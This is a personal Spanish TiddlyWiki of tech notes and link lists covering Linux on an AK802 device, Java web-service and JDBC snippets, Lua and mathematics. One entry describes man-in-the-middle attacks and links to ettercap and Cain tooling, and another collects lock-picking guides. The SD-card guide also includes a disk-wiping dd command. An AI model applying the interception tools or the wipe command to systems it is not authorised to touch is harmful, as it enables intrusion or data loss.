** "A Descent into Limbo": http://doc.cat-v.org/inferno/4th_edition/limbo_language/descent
** "The Limbo Programming Language": http://doc.cat-v.org/inferno/4th_edition/limbo_language/limbo
** "Limbo Programming": http://www.vitanuova.com/inferno/papers/limbomore.html
** "Limbo Basics": http://www.vitanuova.com/inferno/papers/limbobasics.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Ciencia social que estudia las lenguas naturales y la interacción entre los usuarios de las mismas. 
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Ling%C3%BC%C3%ADstica
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Descripcion de la sección
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/GNU/Linux
* Portal Linux en la wikipedia: http://es.wikipedia.org/wiki/Portal:Linux
* Introducción a linux: http://es.wikibooks.org/wiki/Introducci%C3%B3n_a_GNU/Linux
* Página principal del kernel Linux: http://www.kernel.org/
* Documentación en linux.com: http://www.linux.com/ldp-index

!! Distribuciones
!!! General
* ¡Todas las distribuciones!: http://distrowatch.com/
* Hazte la tuya, LSF: http://www.linuxfromscratch.org/lfs/

!!! Para escritorio y servidor
* Arch: http://www.archlinux.org/
** Guía de instalación: http://gespadas.com/archlinux-instalacion-2012
* Debian: http://debian.org/
* Open ~SuSE: http://es.opensuse.org/

!!! Distribuciones ligeras
* 10 distribuciones ligeras recomendadas: http://www.sahw.com/wp/archivos/2011/01/17/diez-distribuciones-linux-ligeras-para-uso-en-netbooks-equipos-poco-potentes-yo-obsoletos-revision-enero-2011/
* Angstrom: http://www.angstrom-distribution.org/
* Tiny Core: http://www.tinycorelinux.com/

!!! Para profesionales de la seguridad
* Puck: http://www.dragonjar.org/distribucion-de-seguridad-para-equipos-lentos.xhtml

!!! Para ARM y dispositivos empotrados
* Arch Linux ARM: http://archlinuxarm.org/
* Debian ARM Port: http://www.debian.org/ports/arm/
* Ubuntu ARM: https://wiki.ubuntu.com/ARM
* Fedora ARM: http://fedoraproject.org/wiki/Architectures/ARM

!!! Otros Live CD / DVD

!!! Herramientas
* UNetbootin: http://unetbootin.sourceforge.net/
* Universal USB Installer: http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/
* Linux Live USB Creator: http://www.linuxliveusb.com/
** Artículo introductorio: http://betanews.com/2012/05/02/linux-live-usb-creator-isn-another-me-too-utility/

!! Programación
* APIs del kernel (por IBM): http://www.ibm.com/developerworks/linux/library/l-user-space-apps/index.html?ca=dgr-lnxw57Kernel-APIs-P1dth-LX
* Tutoriales de programación de módulos: http://www.genbetadev.com/tag/programacion-a-pecho-descubierto
* Advanced Linux Programming: http://www.advancedlinuxprogramming.com/alp-folder/advanced-linux-programming.pdf
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
El [[AK802]] es un dispositivo SoC que funciona de fábrica con Android 4.0.4. Integra un sistema Allwinner A10 con una GPU Mali 4. Como puertos de expansión incorpora un USB 2.0, un mini USB y un lector de tarjetas microSD.

! Objetivo
El objetivo es conseguir cargar una distribución de linux completamente funcional en el dispositivo, a ser posible sin dañar el sistema Android original, cuyo kernel funciona perfectamente y reproduce vídeo sin problemas.

! Aproximaciones
Hay diversas maneras de intentar el objetivo, cada una con sus pros y sus contras. El dispositivo es capaz de arrancar desde su memoria externa, desde una tarjeta micro SD insertada, e incluso desde un dispositivo USB externo

!! Instalar Linux en la tarjeta microSD
Se puede particionar una tarjeta con dos particiones: una FAT con el sistema de arranque (uboot) y el resto una partición EXT con el sistema linux (llamado "sistema root").
!!! Pros
* Se pueden hacer pruebas sin posibilidad de dañar el sistema. Si algo falla se extrae la tarjeta micro SD y ya está.
* Existen varias imágenes preparadas en Internet. Instalarlas en una tarjeta micro SD es tan fácil como descomprimir la imagen y copiarla con el programa "dd" de linux.
* Se puede modificar el sistema de ficheros en un ordenador con Linux para configurar alguna cosa que falle y volver a intentarlo.
* Hay bastante usuarios probando este sistema, y es el que mejor feedback tiene en los foros.
!!! Contras
* La tarjeta es un tanto lenta. El sistema linux no suele tener buen rendimiento.
* Algunas imágenes están muy verdes o no son optimizadas para la arquitectura del AK802. Por ejemplo, muchas usan la arquitectura "armel", que no usa todas las capacidades del procesador, en vez de la armhf.
* Algunas imágenes necesitan configuración adicional.
* Las imágenes suelen tener un tamaño fijo, si la tarjeta micro SD es más grande, hay que extenderlas con parted para que ocupen toda la memoria disponible.
* La mayor parte de las distribuciones son variedades de ubuntu, que para trabajar como servidor no son lo más adecuado, y la configuración manual resulta bastante compleja.
!!! Notas
Es lo mejor como primera aproximación, para poder ir haciendo pruebas y tener "mi primer linux" en el dispositivo.

!! Instalar Linux en un disco externo
El dispositivo permite arrancar desde un disco USB, ya sea un disco duro o bien una memoria flash. El disco tiene que estar dividido de la misma manera que la tarjeta micro SD: una partición FAT de arranque y una partición EXT con el sistema de ficheros.
!!! Pros
* Es mucho más rápido que la instalación en micro SD.
* Se puede usar cualquier tipo de disco y disponer de cantidades de espacio enormes
* Al igual que con las micro SD, si algo sale mal, tan solo hay que desconectar el disco y el dispositivo arrancará con el sistema Android de fábrica.
!!! Contras
* No hay imágenes específicas, hay que modificar una imagen para micro SD y adaptarla
* Hay que configurar el uboot para que arranque desde el disco externo, lo cual es bastante complicado y requiere ciertos conocimientos y herramientas
* Está menos documentado y hay menos usuarios testeándolo.
!!! Notas
Este podría ser el siguiente paso: una vez conseguido un sistema funcional en la tarjeta SD, migrarlo a un disco externo. Es necesario configurar uboot, lo cual es algo complicado, paro hay alguna información en internet que puede ser muy útil.

!! Instalar linux en la memoria interna
Flashear la memoria interna y eliminar el sistema Android que viene de fábrica para sustituirlo por linux.
!!! Pros
* No necesitaría memorias externas de ningún tipo: sólo encender el dispositivo y funcionar
* La memoria interna se supone que es la más rápida
* Al no necesitar discos micro SD ni dispositivos USB, deja libres estos puertos para usarlos como almacenamiento
!!! Contras
* ¡Es extremadamente peligroso! En caso de que algo salga mal, el dispositivo no arrancará.
* Hay muy poca documentación
* Por ahora los entornos gráficos basados en linux resultan ser menos eficientes que android (no pasa lo mismo con los servidores), así que el rendimiento se espera que sea más pobre que con el sistema de fábrica.
!!! Notas
Hasta que no se conozca un sistema linux que funcione mejor que el que viene de fábrica y algún valiente publique un tutorial paso por paso y qué hacer en caso de que algo salga mal, es una solución impracticable, por su alto riesgo y escasos resultados.

!! Instalar linux en un disco externo y lanzarlo con chroot
Android es un sistema linux. Con busybox viene integrada la herramienta chroot, que permitiría ejecutar una distribución de linux en cualquier disco externo (micro SD o USB), o incluso dentro de una imagen de disco.
!!! Pros
* Utiliza el kernel en ejecución del sistema Android actual, que funciona perfectamente y tiene soporte para la GPU (drivers propietarios)
* Puede utilizar una distribución para ARM instalada en casi cualquier medio, lo que da mucha flexibilidad.
* Se arranca manualmente desde dentro del sistema Android ya funcionando, si algo falla no hay más que reiniciar el sistema. Muchas veces no será necesario ni siquiera esto, si algo falla no funcionará el sistema linux a probar y ya está.
!!! Contras
* Al usar el kernel del sistema android, puede que falte soporte para ciertos dispositivos.
* La configuración es algo complicada y a veces puede fallar.
* El arranque no es automático, hay que ejecutar el script de chroot a mano.
* Las X no funcionan como se espera: sólo se pueden ejecutar programas gráficos de linux mediante VNC.
* El acceso al sistema linux es únicamente mediante SSH y VNC.
* Se tienen a la vez el sitema android completo y las aplicaciones linux, lo que aumenta el consumo de memoria RAM y procesador.
!!! Notas
Este es también un muy buen sistema para hacer pruebas y configurar un sistema más complejo. Por ejemplo, se puede insertar una micro SD y modificar el sistema linux, y dejarlo listo para que al reiniciar arranque desde dicho sistema.

!! Integración de linux y android
Ver http://whiteboard.ping.se/Android/Debian

! Caso práctico: instalación en tarjeta microSD
Este es un caso práctico que describe como se ha instalado con éxito Linaro (ubuntu con soporte armhf) en una tarjeta SD de 16gb.

El primero paso debe ser tener la tarjeta microSD lista y preparada. Para ello necesitaremos un ordenador con un lector de tarjetas SD. A partir de ahora se presupondrá que la tarjeta SD es accesible en la dirección {{{/dev/mmcblk0}}}. En otros sistemas puede que sea {{{/dev/sdb}}}, se debería comprobar mediante un {{{fdisk -l}}} cual es la ubicación de la tarjeta antes de continuar.

Una vez insertada y leida en el ordenador que servirá para generar la tarjeta SD, lo siguiente sería borrar por completo su contenido para asegurarnos de que quede completamente limpia y preparada. Para ello se puede ejecutar el siguiente comando:
<code bash>
#dd if=/dev/zero of=/dev/mmcblk0
</code>
Esto llenará de bits a cero el contenido de la tarjeta

Después hay que descargar una imagen con el sistema. Para este ejemplo usaremos la distribución Linaro que han adaptado en los foros de Miniand: [[https://www.miniand.com/forums/forums/2/topics/linaro-12-06-armhf-build]]

La imagen está comprimida con 7z, así que hay que descomprimirla con el programa favorito de cada cual. Ark en KDE es capaz de descomprimir el fichero. También se puede usar la línea de comandos y ejecutar {{{p7zip -d fichero}}}. En cualquier caso, al final obtendremos un fichero {{{.img}}} con un tamaño de 4Gb.

Una vez obtenida la imagen de disco, se copia a la tarjeta microSD también utilizando el comando dd:
<code bash>
#dd if=~/imagen.img of=/dev/mmcblk0
</code>

Cuando termine la copia de ficheros (tardará un buen rato) hay que hacer un {{{sync}}} para asegurarse de que esté bien escrito, y extraer la tarjeta.

Ahora ya se puede introducir la microSD en el [[AK802]] y al conectarlo arrancará en linux. No obstante, si la tarjeta microSD es mayor de 4GB probablemente se quiera agrandar la segunda partición (que es la que contiene el sistema operativo linux, la primera es sólo para arranque), para que ocupe el resto de la tarjeta SD, que se encuentra actualmente desaprovechado.

Para ello sólo hay que ejecutar {{{gparted}}}, elegir la segunda partición de la tarjeta SD (tiene formato ext-4, la primera tiene formato fat32) y usar el comando redimensionar para que ocupe todo el espacio vacío.

¡Y ya está! Arrancará un escritorio verde con todo lo necesario. Lo primero será configurar la red wifi y luego instalar un servidor SSH.
!!Montar un archivo ISO ^^[[<editar>|$1]]^^
Para montar una imagen ISO de un CD o un DVD hay que hacer lo siguiente:
{{{
mount /ruta/al/archivo.iso /mnt/punto_montaje -o loop
}}}
!!Cambiar tamaño de imagen de disco^^[[<editar>|$1]]^^
Para aumentar en 1 GiB el tamaño de una imagen de disco:
# {{{dd if=/dev/zero bs=1024k count=1024 >> my_loop_image_file}}}
# {{{e2fsck -f my_loop_image_file}}}
# {{{resize2fs my_loop_image_file}}}
!!Cambiar navegador web por defecto ^^[[<editar>|$1]]^^
//extraido de [[http://davidasorey.blogspot.com.es/2012/03/estableciendo-navegador-por-defecto-en.html]] //
{{{
$ update-alternatives --display x-www-browser 
$ update-alternatives --display gnome-www-browser 
$ xdg-settings get default-web-browser
}}}
Para usar {{{sensible-browser}}}:
{{{
$ BROWSER=firefox sensible-browser
$ sensible-browser
}}}
!!Detectar intentos de login^^[[<editar>|$1]]^^
Si se tiene un servidor ssh expuesto, es muy posible que sea atacado por bots que intenten hacer login. Una forma sencilla de comprobar qué IPs han intentado hacer login y cuantos intentos han realizado:
<code bash>
grep -i -e "ssh.*fail" /var/log/auth.log | grep -o -E "rhost=([^ ]+)" | cut -d'=' -f2 | awk '{ count[$0]++ } END { for (i in count) print count[i], i }' | sort -rn
</code>
<<forEachTiddler 
 where 
 'tiddler.title.startsWith("$1")' 
>>
<<forEachTiddler 
 where 
 'tiddler.tags.contains("$1")'
>>
<<forEachTiddler 
 where 'tiddler.tags.contains("_apunte") && tiddler.tags.contains("$1")'
 sortBy  'tiddler.created' ascending
 write '"<<tiddler [["+tiddler.title+"]] with:[["+tiddler.title+"]] $))"'
>>
<<forEachTiddler 
 where 'tiddler.tags.contains("_articulo") && (tiddler.tags.contains("$1"))'
 sortBy  'tiddler.created' ascending
>>
<<forEachTiddler 
 where 
 'tiddler.tags.contains("ClaseReceta") && tiddler.tags.contains("$1")'
 sortBy 
 'tiddler.title.toUpperCase()'
>>
<<forEachTiddler 
 where 
 'tiddler.tags.contains("Ingrediente") && tiddler.tags.contains("$1")'
 sortBy 
 'tiddler.title.toUpperCase()'
>>
<<forEachTiddler
    where 
        'tiddler.tags.contains("Recetas") && tiddler.tags.contains("$1") 
        && !tiddler.tags.contains("ClaseReceta") && !tiddler.tags.contains("Ingrediente")'
        
    sortBy 
        'tiddler.title.toUpperCase()'
    
    script
        '
        function getGroupCaption(tiddler) {
            var prefix = "Receta: ";
            var indice = tiddler.title.indexOf(prefix);
            var offset = indice + prefix.length;
            
            if (indice >= 0) {
                return tiddler.title.substr(offset, 1).toUpperCase();
            } else {
                return tiddler.title.substr(0, 1).toUpperCase();
            }
        }

        function getGroupTitle(tiddler, context) {
            if (!context.lastGroup || context.lastGroup != getGroupCaption(tiddler)) {
                context.lastGroup = getGroupCaption(tiddler); 
                return "* {{{"+(context.lastGroup?context.lastGroup:"no tags")+"}}}\n";
            } else {
                return "";
            }
        }
        '
    
    write
         'getGroupTitle(tiddler, context)+"** [[" + tiddler.title+"]]\n"'
>>
<<forEachTiddler 
 where 'tiddler.tags.contains("Recetas") && tiddler.tags.contains("$1") && !tiddler.tags.contains("ClaseReceta")'
 sortBy  'tiddler.created' ascending
>>
<<forEachTiddler 
 where 
 'tiddler.tags.contains("_subseccion") && tiddler.tags.contains("$1")'
>>
<<showtoc>>
! Descripción
<part descripcion>
Todo sobre libros y literatura
</part>
! Enlaces
<part enlaces>
!! General
* La Concha de Gran A'Tuin: http://dreamers.com/mundodisco/biblioteca/index.htm
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
El esqueleto básico para una llamada a servicio web con archivos enviados como adjuntos y formato de datos DIME:

<code java>
//Crea los elementos de la llamada
Service service = new org.apache.axis.client.Service();
Call call = (Call) service.createCall();

//Configura la llamada
call.setTargetEndpointAddress(endpoint);
call.setOperationName(new javax.xml.namespace.QName("http://url/del/namespace", operation));

//Configuración de SOAP
call.setProperty(Call.SEND_TYPE_ATTR, Boolean.FALSE);
call.setProperty(org.apache.axis.AxisEngine.PROP_DOMULTIREFS, Boolean.FALSE);
call.setProperty(Call.ATTACHMENT_ENCAPSULATION_FORMAT, Call.ATTACHMENT_ENCAPSULATION_FORMAT_DIME);
//call.setSOAPVersion(org.apache.axis.soap.SOAPConstants.SOAP12_CONSTANTS);
call.setUseSOAPAction(true);
call.setSOAPActionURI("http://url/del/namespace/Action");
call.setEncodingStyle(null);

//Definición de parámetros
QName qParametro1 = new QName("http://url/del/namespace", "nombreParametro1");
call.registerTypeMapping(String.class, qParametro1,
        new org.apache.axis.encoding.ser.SimpleSerializerFactory(String.class, qParametro1),
        new org.apache.axis.encoding.ser.SimpleDeserializerFactory(String.class, qParametro1));

QName qParametro2 = new QName("http://url/del/namespace", "nombreParametro2");
call.registerTypeMapping(BeanPropio.class, qParametro2,
        new org.apache.axis.encoding.ser.BeanSerializerFactory(BeanPropio.class, qParametro2),
        new org.apache.axis.encoding.ser.BeanDeserializerFactory(BeanPropio.class, qParametro2));

QName qReturn = new QName("http://TB-Solutions.com/MFRT/", "cResultadoRegistro");
call.registerTypeMapping(BeanResultado.class, qReturn,
        new org.apache.axis.encoding.ser.BeanSerializerFactory(BeanResultado.class, qReturn),
        new org.apache.axis.encoding.ser.BeanDeserializerFactory(BeanResultado.class, qReturn));


//Añade los parámetros a la llamada
call.addParameter(qIdApp, XMLType.XSD_STRING, String.class, qParametro1.IN);
call.addParameter(qTipo, qReturn, BeanPropio.class, qParametro2.IN);

call.setReturnType(qReturn);

//Añade los anexos a la petición
if (anexos != null && anexos.size() > 0) {
    System.out.println("DEBUG: Añadiendo anexos...");
    for(int i = 0; i < anexos.size(); i++) {
        javax.activation.DataHandler dh = new javax.activation.DataHandler(new javax.activation.FileDataSource((File)anexos.get(i)));
        System.out.println("   - Anexo "+i+": "+dh.getName());
        call.addAttachmentPart(new org.apache.axis.attachments.AttachmentPart(dh));
    }
}

//Llama al servicio web
Object[] params = new java.lang.Object[] {valorParam1, valorParam2};
BeanResultado resultado = (BeanResultado)call.invoke(params);
</code>
! Introducción
A continuación se expone con ejemplos como llamar a procedimientos almacenados en bases de datos usando JDBC. 

! Llamadas a procedimientos almacenados
Supongo que la forma con distintos tipos de base de datos será similar, pero los ejemplos siguientes sólo se han probado con Oracle 10g. Por convenio, el primer parámetro que pase será {{{VARCHAR2}}} y el segundo un {{{NUMBER}}} que almacena un entero simple.
!! Llamada sin parámetros
<code java>
CallableStatement cs = connection.prepareCall("{ call myproc }");
cs.execute();
</code>
!! Llamada parámetros IN
<code java>
CallableStatement cs = connection.prepareCall("{ call myproc(?, ?) }");
cs.setString(1, "string value");
cs.setInt(2, 42);
cs.execute();
</code>
!! Llamada con parámetros IN/OUT
<code java>
CallableStatement cs = connection.prepareCall("{ call myproc(?, ?) }");
cs.registerOutParameter(1, Types.VARCHAR);
cs.setString(1, "initial string value");
cs.setInt(2, 42);
cs.execute();
//Recoge el resultado
String result = cs.getString(1);
</code>
! Llamadas a funciones almacenadas
Se llaman de forma muy similar a los procedimientos, sólo que siempre tienen el primer parámetro como parámetro de salida. 
<code java>
CallableStatement cs = connection.prepareCall("{ ? = call myfuncout(?) }");
cs.registerOutParameter(1, Types.VARCHAR);
cs.setInt(2, 42);
cs.execute();
//Recoge el resultado
String result = cs.getString(1);
</code>
! Rerefencia
* http://www.exampledepot.com/egs/java.sql/CallProcedure.html
* http://onjava.com/onjava/2003/08/13/stored_procedures.html
/***
|''Name:''|LoadRemoteFileThroughProxy (previous LoadRemoteFileHijack)|
|''Description:''|When the TiddlyWiki file is located on the web (view over http) the content of [[SiteProxy]] tiddler is added in front of the file url. If [[SiteProxy]] does not exist "/proxy/" is added. |
|''Version:''|1.1.0|
|''Date:''|mar 17, 2007|
|''Source:''|http://tiddlywiki.bidix.info/#LoadRemoteFileHijack|
|''Author:''|BidiX (BidiX (at) bidix (dot) info)|
|''License:''|[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D ]]|
|''~CoreVersion:''|2.2.0|
***/
//{{{
version.extensions.LoadRemoteFileThroughProxy = {
 major: 1, minor: 1, revision: 0, 
 date: new Date("mar 17, 2007"), 
 source: "http://tiddlywiki.bidix.info/#LoadRemoteFileThroughProxy"};

if (!window.bidix) window.bidix = {}; // bidix namespace
if (!bidix.core) bidix.core = {};

bidix.core.loadRemoteFile = loadRemoteFile;
loadRemoteFile = function(url,callback,params)
{
 if ((document.location.toString().substr(0,4) == "http") && (url.substr(0,4) == "http")){ 
 url = store.getTiddlerText("SiteProxy", "/proxy/") + url;
 }
 return bidix.core.loadRemoteFile(url,callback,params);
}
//}}}
!Descripción
<part descripcion>
"Lock Picking" (o "Key Bumping")es el término anglosajón para el mucho más familiar "cerrajería". Es la disciplina que trata sobre como comprometer cerraduras sin disponer de la llave original. 
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://en.wikipedia.org/wiki/Lock_picking
** Guía del MIT (html): http://littlepaul.com/stuff/lockpicking/mit-guide/
** Guía del MIT (pdf): http://www.lockpickguide.com/support-files/mitguidetolockpick.pdf

* ''Información general:''
** Nociones de seguridad informática aplicadas a la seguridad física: http://www.securityartwork.es/2009/09/03/seguridad-ferretera/
** Guía del MIT (otra version): http://www.lockpickguide.com/support-files/mitguidetolockpick.pdf
** Más información y recursos (y muy desordenados): http://www.textfiles.com/anarchy/LOCKPICKING/
** Enlaces varios: http://www.gregmiller.net/locks/links.html
** Más enlaces varios: http://www.lockpicking101.com/viewtopic.php?f=2&t=588
** FAQ: http://www.indra.com/archives/alt-locksmithing/
** Introducción de "How Stuff Works": http://home.howstuffworks.com/home-improvement/household-safety/security/lock-picking.htm
** Cómo es un candado, de "How Stuff Works": http://home.howstuffworks.com/home-improvement/household-safety/security/inside-lock.htm

* ''Guías de lockping:''
** Guías para principiantes: http://www.gregmiller.net/locks/
** Técnica del "impressionning": http://www.gregmiller.net/locks/impress.html
** Guía viejuna: http://web.archive.org/web/20001202054300/http://www.eunet.sk/stefan/docs/lock/lock2/index.html
** Aprende con un comic: http://web.archive.org/web/20070711233617/locksport.com/LSIGuide/lsiguide.pdf
** Guía gratuita: http://www.free-lock-picking-guide.com/
** Información de Deviant Ollam: http://deviating.net/lockpicking/

* ''Guías de fabricación de herramientas:''
** Cómo construir una ganzúa: http://www.instructables.com/id/Yet-another-lockpick-insructable
** Ganzúa con un cepillo de dientes eléctrico: http://www.inventgeek.com/Projects/lockpick/lockpick.aspx

* ''Grupos y foros:''
** Foro de [[Lock Picking]]: http://www.lockpicking101.com/
** Foros y grupos en Yahoo: http://dir.yahoo.com/Recreation/Hobbies/Lock_Picking/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Lua es un lenguaje de programación dinámico sencillo, ligero y muy fácilmente embebible. Dada su ligereza se ha convertido en lenguaje de script para muchos juegos y aplicaciones, como el juego World of Warcraft o el editor de textos SciTe.
</part>
!Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Lua
* Página principal: http://www.lua.org/docs.html

!! Documentación
* Guía de referencia: http://www.lua.org/manual/5.1/
* Guía de referencia en español: http://www.lua.org/manual/5.1/es/
* Learning Lua: http://lua-users.org/wiki/LearningLua
* Programming In Lua: http://www.lua.org/pil/

!! Librerías
* Repositorio de librerías: http://lua-users.org/wiki/LibrariesAndBindings
* Kepler, páginas web con Lua: http://en.wikipedia.org/wiki/Kepler_%28software%29

!! Páginas y herramientas
* Comunidad de usuarios: http://lua-users.org/
* Editor con soporte Lua e interprete incrustado: http://www.scintilla.org/SciTEDownload.html
* Plugin para Eclispe: http://lunareclipse.sourceforge.net/

!! Distribuciones
* Distribuciones binarias oficiales: http://lua-users.org/wiki/LuaBinaries
* Lua Rocks: http://www.luarocks.org/
* Lua All In One: http://luaaio.luaforge.net/
* Lua for Windows: http://code.google.com/p/luaforwindows/
* ¡Muchas más!: http://lua-users.org/wiki/LuaDistributions
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
MPTW is a distribution or edition of TiddlyWiki that includes a standard TiddlyWiki core packaged with some plugins designed to improve usability and provide a better way to organise your information. For more information see http://mptw.tiddlyspot.com/.
[[Inicio|Principal]]  - [[W|WelcomeToTiddlyspot]] [[G|GettingStarted]] <<toggleSideBar>>
!Descripción
<part descripcion>
Esta técnica consiste en que el atacante se sitúa en medio de una comunicación, recibe los mensajes del emisor, los procesa y almacena, y posteriormente se los reenvía al receptor falseando la dirección de origen para que parezca que ha llegado directamente desde el remitente original. Para realizarlo se suele apoyar en otras técnicas que le permiten recolectar los paquetes de datos de las víctimas, como [[ARP Spoofing]] o [[DNS Spoofing]]. En redes no segmentadas puede hacerse directamente
</part>
!Enlaces
<part enlaces>
* ''General:''
** Man In the middle: http://es.wikipedia.org/wiki/Ataque_Man-in-the-middle
** Man in the middle (en inglés): http://en.wikipedia.org/wiki/Man-in-the-middle_attack

* ''En la práctica:''
** Ataques "man in the middle" con ettercap: http://www.sahw.com/wp/archivos/2010/05/31/la-importancia-de-los-protocolos-cifrados-envenenamiento-arp-mediante-ettercap/

* ''Herramientas:''
** Ettercap: http://sourceforge.net/projects/ettercap/files/
** Cain: http://www.oxid.it/cain.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Mapear variablas de entorno a propiedades en Ant^^[[<editar>|$1]]^^
Mapear variables de entorno a propiedades dentro de un fichero {{{build.xml}}} es muy sencillo, tan sólo hay que darle un nombre a la propiedad que contendrá la variables de entorno con la línea siguiente:
<code xml>
<property environment="env"/>
</code>
A partir de esa línea, se podrá referenciar cualquier variable de entorno como una propiedad más, anteponiendo el prefijo {{{enf}}}. Por ejemplo, para usar la variable {{{OC4J_J2EE_HOME}}}:
<code xml>
<pathelement location="${env.OC4J_J2EE_HOME}/oc4j.jar" />
</code>
//Gracias a Antonio por la información//
!Descripción
<part descripcion>
Markdown es un lenguaje de marcado cuya finalidad es ser muy legible como texto plano y poder generar HTML de forma sencilla con las librerías adecuadas.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Página principal: http://daringfireball.net/projects/markdown/
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Markdown
* ''Documentación:''
** Markdown cheatsheel: http://warpedvisions.org/projects/markdown-cheat-sheet/
** Markdown reference: http://daringfireball.net/projects/markdown/syntax
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<head>
<meta http-equiv="cache-control" content="no-cache" />
<META HTTP-EQUIV="Pragma" CONTENT="no-cache" />
<META HTTP-EQUIV="Expires" CONTENT="-1" />
</head> 
<script type="text/javascript">
//{{{
/*
var disqus_shortname = 'rubenpedia';
var disqus_developer = 0;
(function () {
  var s = document.createElement('script'); s.async = true;
  s.src = 'http://disqus.com/forums/rubenpedia/count.js';
  (document.getElementsByTagName('HEAD')[0] || document.getElementsByTagName('BODY')[0]).appendChild(s);
}());
*/
//}}}
</script>
!Descripción
<part descripcion>
Información sobre el vasto mundo de las matemáticas. Las principales ramas de las matemáticas son las siguientes (extraido de [[wikipedia|http://es.wikipedia.org/wiki/Matem%C3%A1ticas#Ramas_de_estudio_de_las_matem.C3.A1ticas]]):
* Fundamentos y métodos
* Investigación operativa
* Números
* Análisis, continuidad y cambio
* Estructuras
* Espacios
* Matemática discreta
* Matemática aplicada
</part>
!Enlaces
<part enlaces>
!! General
* Definición de la Wikipedia: http://es.wikipedia.org/wiki/Matem%C3%A1ticas
* Portal de Matemáticas: http://es.wikipedia.org/wiki/Portal:Matem%C3%A1tica
* Artículos relacionados con las matemáticas: http://es.wikipedia.org/wiki/Categor%C3%ADa:Matem%C3%A1ticas
* Wikilibros: http://es.wikibooks.org/wiki/Categor%C3%ADa:Matem%C3%A1ticas
* Origen de los símbolos matemáticos: http://www.epsilones.com/paginas/t-signos.html
* Olimpiadas Matemáticas Argentinas(OMA): http://www.oma.org.ar/omanet/
* El paraiso de las matemáticas: http://www.matematicas.net/
* Divulga Mat: http://www.divulgamat.net/
* Matemáticas para ciencias de la computación: http://courses.csail.mit.edu/6.042/fall10/mcs-ftl.pdf

!! Útiles
* Calculadora online: http://soko.com.ar/matem/calculadora.htm

!! Bibliotecas y cursos online
* NIST Digital Library of Mathematical Functions (DLMF): http://dlmf.nist.gov/
* La Biblio: http://www.labiblio.com/mat.htm
* Curso de OMA: http://www.oma.org.ar/omanet/misc/index.htm
* Curso de fractales de la OMA: http://www.oma.org.ar/omanet/caos/index.htm
* Apuntes de matemáticas: http://soko.com.ar/matematica.htm
* Libros de Carlos Ivorra Castillo: http://www.uv.es/ivorra/Libros/
* Materiales de formación del MEC: http://formacionprofesorado.educacion.es/index.php/es/materiales
* Matemáticas en escolar.com: http://www.escolar.com/avanzado/indexM.htm
* Va de números (matemáticas de ESO y Bachillerato): http://www.vadenumeros.es/

!! Funciones interesantes
* Función gamma: http://en.wikipedia.org/wiki/Gamma_function

!! Aritmética
* ''Números racionales:''
** Números racionales en la wikipedia: http://es.wikipedia.org/wiki/N%C3%BAmero_racional
** Números periódicos en la wikipedia: http://es.wikipedia.org/wiki/N%C3%BAmero_peri%C3%B3dico
** Números periódicos en CyM98: http://www.oma.org.ar/omanet/cym98/perifrac.htm
** Números decimales: http://www.el-profesor.8m.com/numeros_decimales.htm
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Matemáticas que se aplican a diversos campos de la informática
</part>
! Enlaces
<part enlaces>
!! General
* Matemáticas para ciencias de computación: http://courses.csail.mit.edu/6.042/fall10/mcs-ftl.pdf

!! Animaciones 2D
* A Quick Look Into The Math Of Animations With JavaScript: http://coding.smashingmagazine.com/2011/10/04/quick-look-math-animations-javascript/

!! Estadística
* Think Stats: Probability and Statistics for Programmers: http://greenteapress.com/thinkstats/html/index.html

!! Aritmética
* Operaciones binarias ([[Python]]): http://blog.madpython.com/2010/07/17/algorithms-in-python-binary-operations/
* Exponenciación binaria ([[Python]]): http://blog.madpython.com/2010/08/07/algorithms-in-python-binary-exponentiation/
* Expansión en base-n ([[Python]]): http://blog.madpython.com/2010/07/10/algorithms-in-python-base-expansion/
* Lo que todo programador debería saber de punto flotante: http://floating-point-gui.de/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Lenguaje de definición de ecuaciones matemáticas basado en [[XML]]. Es un proyecto oficial del [[W3C|http://www.w3.org]].
</part>
!Enlaces
<part enlaces>
* ''General:''
** Página principal: http://www.w3.org/Math/
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/MathML
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
